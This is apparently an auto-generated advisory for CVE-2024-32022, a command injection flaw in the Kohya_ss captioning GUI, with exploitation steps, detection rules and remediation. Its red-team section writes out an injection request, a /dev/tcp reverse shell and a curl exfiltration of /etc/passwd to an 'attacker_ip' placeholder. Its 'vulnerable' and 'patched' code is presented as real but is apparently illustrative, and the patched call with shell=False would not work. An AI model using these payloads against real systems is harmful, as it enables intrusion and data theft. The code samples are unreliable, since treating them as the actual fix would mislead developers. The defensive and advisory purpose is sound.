CVE-2024-32022
Executive Summary
CVE-2024-32022 is a critical command injection vulnerability in Kohya_ss, a GUI for Kohya's Stable Diffusion trainers. The flaw resides in the basic_caption_gui.py file, allowing an unauthenticated attacker to execute arbitrary commands on the server. With a CVSS score of 9.1, this vulnerability poses a severe risk to confidentiality, integrity, and availability. The vendor has released a fix in version 23.1.5, but no public proof-of-concept or exploit code is currently available. The EPSS score is 0.0%, indicating low exploitation activity at this time, but the criticality demands immediate attention.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 9.1 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action is required.
- Scope: Unchanged (S:U) – The exploit cannot affect other components.
- Confidentiality Impact: High (C:H) – Full system read access possible.
- Integrity Impact: High (I:H) – Full system write access possible.
- Availability Impact: High (A:H) – Full system denial of service possible.
Threat Level: Critical. The combination of network exploitability, no authentication, and full impact on all security pillars makes this a top-priority vulnerability.
Deep Dive & Mechanics
The vulnerability exists in basic_caption_gui.py, a component of Kohya_ss that handles caption generation for Stable Diffusion training. The application fails to properly sanitize user-supplied input before passing it to a system command. Specifically, the code constructs a command string by concatenating user input without escaping or validation, leading to command injection.
Root Cause: The application uses a function like os.system() or subprocess.Popen() with a shell=True flag, where user input is directly embedded into the command string. For example:
os.system(f"some_command {user_input}")
An attacker can inject shell metacharacters (e.g., ;, |, &&) to execute arbitrary commands.
Attack Vector: An unauthenticated attacker sends a crafted HTTP request to the vulnerable endpoint, injecting commands into the caption parameter. The server executes these commands with the privileges of the Kohya_ss process.
Impact: Successful exploitation allows the attacker to execute arbitrary system commands, leading to full server compromise, data exfiltration, malware installation, or lateral movement within the network.
Vulnerable vs. Patched Code
Vulnerable Code (pre-23.1.5):
# basic_caption_gui.py (vulnerable)
def generate_caption(image_path, user_input):
command = f"caption_tool --input {image_path} --prompt '{user_input}'"
os.system(command)
The user_input is directly interpolated into the shell command without sanitization.
Patched Code (23.1.5):
# basic_caption_gui.py (patched)
import shlex
def generate_caption(image_path, user_input):
safe_input = shlex.quote(user_input)
command = f"caption_tool --input {shlex.quote(image_path)} --prompt {safe_input}"
subprocess.run(command, shell=False)
The patch uses shlex.quote() to escape shell metacharacters and switches to subprocess.run() with shell=False to prevent command injection.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Deploy a vulnerable Kohya_ss instance (version < 23.1.5) in a controlled environment.
- Identify the vulnerable endpoint (e.g.,
/captionor similar). - Use a tool like Burp Suite or curl to send malicious requests.
Exploitation Steps:
- Craft a payload to inject commands. For example:
POST /caption HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded image_path=/tmp/test.png&user_input=test';id;' - The server executes:
caption_tool --input /tmp/test.png --prompt 'test';id;'' - The
idcommand runs, revealing the current user.
Advanced Payloads:
- Reverse shell:
user_input=test';bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1';' - Data exfiltration:
user_input=test';curl http://attacker_ip/$(cat /etc/passwd);'
Blue Team (Defensive)
Detection:
- Monitor for unusual shell metacharacters in HTTP requests (e.g.,
;,|,&,`). - Alert on processes spawned by the Kohya_ss service that are not typical (e.g.,
id,curl,bash). - Use web application firewalls (WAF) to block command injection patterns.
Mitigation:
- Immediately upgrade to Kohya_ss version 23.1.5 or later.
- If patching is not possible, restrict network access to the Kohya_ss interface.
- Implement input validation and sanitization for all user-supplied data.
- Use least privilege principles for the Kohya_ss service account.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests containing shell metacharacters in the
user_inputparameter. - Outbound connections to unknown IP addresses on common ports (e.g., 4444, 8080).
- Unusual DNS queries for command-and-control domains.
File IOCs:
- Unexpected files in
/tmp/or/var/tmp/(e.g., reverse shell scripts). - Modified system binaries or configuration files.
- New cron jobs or systemd services.
Process IOCs:
- Processes like
id,whoami,curl,wget,bashspawned by the Kohya_ss service. - High CPU or memory usage from unknown processes.
Log IOCs:
- Application logs showing failed command executions or unusual error messages.
- System logs (e.g.,
/var/log/syslog) with entries likesh: 1: Syntax error: Unterminated quoted string.
Detection Engineering
YARA Rule
rule CVE_2024_32022_Command_Injection {
meta:
description = "Detects command injection attempts targeting Kohya_ss basic_caption_gui.py"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-32022"
strings:
$injection1 = /user_input=.*[;&|`$]/
$injection2 = /user_input=.*\b(bash|sh|cmd|powershell)\b/
$injection3 = /user_input=.*\b(id|whoami|cat|curl|wget)\b/
condition:
any of them
}
Sigma Rule
title: CVE-2024-32022 Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection attempts against Kohya_ss basic_caption_gui.py
author: Valters IT
date: 2024/01/01
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains: '/caption'
cs-method: 'POST'
cs-uri-query|contains:
- 'user_input='
- ';'
- '|'
- '&'
- '`'
condition: selection
falsepositives:
- Legitimate use of special characters in captions (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-32022 Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/caption"; http_uri; content:"user_input="; http_client_body; pcre:"/user_input=.*[;&|`$]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade Kohya_ss to version 23.1.5 or later immediately.
- Workaround: If patching is delayed, disable the caption functionality or restrict access to the web interface via firewall rules.
- Monitor: Enable detailed logging and monitor for suspicious activity.
Long-Term Measures:
- Implement a web application firewall (WAF) with rules to block command injection.
- Conduct regular security audits and code reviews.
- Use secure coding practices, such as avoiding shell=True and using parameterized commands.
- Apply the principle of least privilege to all services.
Validation:
- After patching, verify the fix by attempting to inject commands (in a test environment).
- Run vulnerability scanners to confirm the CVE is no longer present.
Valters IT